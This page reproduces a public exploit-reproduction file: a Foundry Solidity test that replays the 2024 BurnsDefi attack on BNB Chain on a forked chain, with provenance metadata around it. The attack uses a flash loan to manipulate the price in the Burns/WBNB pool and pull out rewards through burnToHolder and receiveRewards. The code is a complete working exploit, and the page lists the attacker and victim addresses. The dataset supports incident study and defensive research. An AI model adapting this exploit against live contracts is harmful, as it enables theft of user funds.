Public reproduction file
src/test/2024-02/BurnsDefi_exp.sol
Public reproduction file for dataset entry BurnsDefi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$67K8// Attacker : https://bscscan.com/address/0xc9fbcf3eb24385491f73bbf691b13a6f8be7c3399// Attack Contract : https://bscscan.com/address/0xb5eebf73448e22ce6a556f848360057f6aadd4e710// Vuln Contract : https://bscscan.com/address/0x4fb9657ac5d311dd54b37a75cfb873b127eb21fd11// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x1d0af3a963682748493f21bf9e955ce3a950bee5817401bf2486db7a0af104b413// @Analysis14// https://twitter.com/pennysplayer/status/175434257381523894615// https://medium.com/neptune-mutual/how-was-citadel-finance-exploited-a5f9acd0b408 (similar incident)17interface IBurnsBuild {18 function burnToHolder(uint256 amount, address _invitation) external;20 function receiveRewards(21 address to22 ) external;23}25contract ContractTest is Test {26 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);27 IERC20 private constant Burns = IERC20(0x91f1d3C7ddB8d5E290e71f893baD45F16E8Bd7BA);28 IWETH private constant WBNB = IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));29 DVM private constant DSP = DVM(0xD5F05644EF5d0a36cA8C8B5177FfBd09eC63F92F);30 Uni_Pair_V2 private constant BUSDT_WBNB = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);31 Uni_Pair_V2 private constant Burns_WBNB = Uni_Pair_V2(0x928cd66dFA268C69a37Be93BF7759dc8Ee676Bf8);32 Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);33 IBurnsBuild private constant BurnsBuild = IBurnsBuild(0x4fb9657Ac5d311dD54B37A75cFB873b127Eb21FD);35 // address private exploiter = makeAddr("exploiter");36 address private constant exploiter = 0xC9FBCf3EB24385491f73BbF691b13A6f8Be7C339;38 function setUp() public {39 vm.createSelectFork("bsc", 35_858_189);40 vm.label(address(BUSDT), "BUSDT");41 vm.label(address(Burns), "Burns");42 vm.label(address(WBNB), "WBNB");43 vm.label(address(DSP), "DSP");44 vm.label(address(BUSDT_WBNB), "BUSDT_WBNB");45 vm.label(address(Burns_WBNB), "Burns_WBNB");46 vm.label(address(PancakeRouter), "PancakeRouter");47 vm.label(address(BurnsBuild), "BurnsBuild");48 vm.label(exploiter, "Exploiter");49 }51 function testExploit() public {52 deal(address(BUSDT), address(this), 0);53 deal(address(this), 0);54 emit log_named_decimal_uint(55 "Exploiter BUSDT balance before attack", BUSDT.balanceOf(exploiter), BUSDT.decimals()56 );57 emit log_named_decimal_uint(58 "Exploiter Burns balance before attack", Burns.balanceOf(exploiter), Burns.decimals()59 );60 // Borrow BUSDT61 bytes memory data = abi.encodePacked(uint8(49));62 DSP.flashLoan(250_000 * 1e18, 0, address(this), data);64 emit log_named_decimal_uint(65 "Exploiter BUSDT balance after attack", BUSDT.balanceOf(exploiter), BUSDT.decimals()66 );68 emit log_named_decimal_uint(69 "Exploiter Burns balance after attack", Burns.balanceOf(exploiter), Burns.decimals()70 );71 }73 function DSPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {74 BUSDTToBurns(baseAmount);76 address[] memory path = new address[](2);77 path[0] = address(Burns);78 path[1] = address(WBNB);79 uint256 amountOut1 = 50e18;80 uint256 amountOut2 = address(Burns).balance - amountOut1;81 uint256[] memory amounts = PancakeRouter.getAmountsIn(amountOut1, path);83 // burnToHolder() use getAmountsOut() and Burns/WBNB pair for making calculations84 BurnsBuild.burnToHolder(amounts[0], exploiter);85 amounts = PancakeRouter.getAmountsIn(amountOut2, path);86 BurnsBuild.burnToHolder(amounts[0], exploiter);87 BurnsBuild.receiveRewards(address(this));88 WBNB.deposit{value: address(this).balance}();90 WBNBToBUSDT();91 BurnsToBUSDT();93 BUSDT.transfer(address(DSP), baseAmount);94 BUSDT.transfer(exploiter, BUSDT.balanceOf(address(this)));95 }97 receive() external payable {}99 function BUSDTToBurns(100 uint256 amount101 ) private {102 // Transfer borrowed BUSDT to BUSDT/WBNB pair and obtain WBNB to deposit to Burns/WBNB pair103 BUSDT.transfer(address(BUSDT_WBNB), amount);104 (uint112 reserveBUSDT, uint112 reserveWBNB,) = BUSDT_WBNB.getReserves();105 uint256 amountWBNB = PancakeRouter.getAmountOut(amount, reserveBUSDT, reserveWBNB);106 // Deposit WBNB to Burns/WBNB107 BUSDT_WBNB.swap(0, amountWBNB, address(Burns_WBNB), "");109 (uint112 reserveBurns, uint112 _reserveWBNB,) = Burns_WBNB.getReserves();110 uint256 amountBurns = PancakeRouter.getAmountOut(amountWBNB, _reserveWBNB, reserveBurns);111 // Swap deposited WBNB to Burns tokens112 Burns_WBNB.swap(amountBurns, 0, address(this), "");113 }115 function WBNBToBUSDT() private {116 uint256 amountWBNB = WBNB.balanceOf(address(this));117 WBNB.transfer(address(BUSDT_WBNB), amountWBNB);118 (uint112 reserveBUSDT, uint112 reserveWBNB,) = BUSDT_WBNB.getReserves();119 uint256 amountBUSDT = PancakeRouter.getAmountOut(amountWBNB, reserveWBNB, reserveBUSDT);120 BUSDT_WBNB.swap(amountBUSDT, 0, address(this), "");121 }123 function BurnsToBUSDT() private {124 Burns.transfer(address(Burns_WBNB), Burns.balanceOf(address(this)));125 (uint112 reserveBurns, uint112 reserveWBNB,) = Burns_WBNB.getReserves();126 uint256 amountWBNB =127 PancakeRouter.getAmountOut(Burns.balanceOf(address(Burns_WBNB)) - reserveBurns, reserveBurns, reserveWBNB);128 Burns_WBNB.swap(0, amountWBNB, address(BUSDT_WBNB), "");130 (uint112 reserveBUSDT, uint112 _reserveWBNB,) = BUSDT_WBNB.getReserves();131 uint256 amountBUSDT = PancakeRouter.getAmountOut(amountWBNB, _reserveWBNB, reserveBUSDT);132 BUSDT_WBNB.swap(amountBUSDT, 0, address(this), "");133 }134}Analysis
Dataset entry
Public Foundry test for “BurnsDefi” (2024-02-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
- src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
- src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
- src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
- src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
- src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
- src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
- src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
- src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
- src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
- src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
- src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
- src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
- src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
- src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
- src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
- src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
- src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc9fbcf3eb24385491f73bbf691b13a6f8be7c339
- Attack Contract
0xb5eebf73448e22ce6a556f848360057f6aadd4e7
- Attack Tx
0x1d0af3a963682748493f21bf9e955ce3a950bee5817401bf2486db7a0af104b4
- Explorer: https://bscscan.com/address/0xc9fbcf3eb24385491f73bbf691b13a6f8be7c339
- Explorer: https://bscscan.com/address/0xb5eebf73448e22ce6a556f848360057f6aadd4e7
- Explorer: https://bscscan.com/address/0x4fb9657ac5d311dd54b37a75cfb873b127eb21fd
- Reference: https://twitter.com/pennysplayer/status/1754342573815238946
File record
- Name
- BurnsDefi
- Path
- src/test/2024-02/BurnsDefi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5b2b3526ca3fc91be578e19f56801b3c6ab12695
- Language
- Solidity
- Size
- 135 lines
- Date
- 2024-02-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-02/BurnsDefi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5b2b3526ca3fc91be578e19f56801b3c6ab12695, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.